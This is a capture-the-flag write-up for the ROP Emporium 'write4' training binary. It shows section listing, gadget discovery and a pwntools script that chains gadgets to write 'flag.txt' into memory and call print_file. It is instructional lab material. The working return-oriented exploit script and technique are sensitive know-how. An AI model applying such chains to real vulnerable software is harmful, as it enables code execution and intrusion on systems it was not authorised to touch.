4. write4

the forth challenge, this challenge is a little bit different from the others previously.
in this challenge, the binary provided a function to print_file for us, but there's no "flag.txt" string in the binary, so we somehow have to write "flag.txt" into the binary ourselve.
so how do we write into the memory? there's an instruction that we can use such as mov [reg], reg that allow us to write a value into the memory.

so where do we write the string into? let's check the binary for sections we can write into and section that when we write into will not cause us any problems if we need some kind of stability in our exploit.

┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ rabin2 -S write4
[Sections]

nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
---
18  0x00000df0    0x8 0x00600df0    0x8 -rw- .init_array
19  0x00000df8    0x8 0x00600df8    0x8 -rw- .fini_array
20  0x00000e00  0x1f0 0x00600e00  0x1f0 -rw- .dynamic
21  0x00000ff0   0x10 0x00600ff0   0x10 -rw- .got
22  0x00001000   0x28 0x00601000   0x28 -rw- .got.plt
23  0x00001028   0x10 0x00601028   0x10 -rw- .data
24  0x00001038    0x0 0x00601038    0x8 -rw- .bss ---

so here are sections that we can write into, its size and address. i will choose to write into .data here since it doesn't interfere with anything in the binary (maybe???).

let's find gadgets for this exploit. let's look into what's inside the usefulFunction and usefulGadgets

┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ objdump -M intel --disassemble=usefulFunction -S write4
---
0000000000400617 <usefulFunction>:
  400617:       55                      push   rbp
  400618:       48 89 e5                mov    rbp,rsp
  40061b:       bf b4 06 40 00          mov    edi,0x4006b4
  400620:       e8 eb fe ff ff          call   400510 <print_file@plt>
  400625:       90                      nop
  400626:       5d                      pop    rbp
  400627:       c3                      ret
---
┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ objdump -M intel --disassemble=usefulGadgets -S write4
---
0000000000400628 <usefulGadgets>:
  400628:       4d 89 3e                mov    QWORD PTR [r14],r15
  40062b:       c3                      ret
  40062c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]
---

we can see there's and instruction to write r15 in the address of r14 let's find gadgets to get this done.

┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ ROPgadget --binary write4 | grep r14
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

pop r14 ; pop r15 ; ret and mov qword ptr [r14], r15 ; ret nice.

let's chain them together now!

from pwn import *

padding = b"x"*40
pop_r14_r15 = 0x400690
mov_r14_r15 = 0x400628
print_file = 0x400510
pop_rdi = 0x400693
data_sec = 0x601028

file_to_print = b"flag.txt"

p = process("./write4")

payload = padding + p64(pop_r14_r15) + p64(data_sec) + file_to_print + p64(mov_r14_r15) + p64(pop_rdi) + p64(data_sec) + p64(print_file)

p.sendline(payload)

print(p.recvall().decode("utf-8"))

result:

┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ python solve.py
[+] Starting local process './write4': pid 2004
[*] Switching to interactive mode
write4 by ROP Emporium
x86_64

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}

nicesu nicesu!!